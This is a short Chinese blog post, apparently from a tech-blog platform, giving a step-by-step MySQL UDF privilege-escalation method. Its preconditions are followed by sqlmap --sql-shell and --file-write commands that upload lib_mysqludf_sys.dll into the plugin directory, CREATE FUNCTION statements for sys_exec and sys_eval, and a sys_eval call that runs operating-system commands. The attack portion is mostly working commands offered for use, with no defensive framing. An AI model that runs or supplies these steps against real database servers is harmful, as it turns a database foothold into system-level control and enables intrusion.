sqlmap mysql udf提权_利用sqlmap命令--sql-shell进行mysql提权的小方法之udf提权

udf提权

1.原理

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

2.利用条件

Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下。

Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windowssystem32,在windows2000下放置于

c:winntsystem32。

掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,

具备`root账号所具备的权限的其它账号也可以。

可以将udf.dll写入到相应目录的权限。

1.连接mysql数据打开一个交互shell:

sqlmap.py -u "url" --sql-shell

select @@version;

select @@plugin_dir;

C:XXXX\mysql\mysql5.6.17\lib\plugin\

2.利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:

sqlmap.py -u "url" --file-write=自己的目录/lib_mysqludf_sys.dll --file-dest=C:XXXX\\mysql\mysql5.6.17\lib\plugin\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值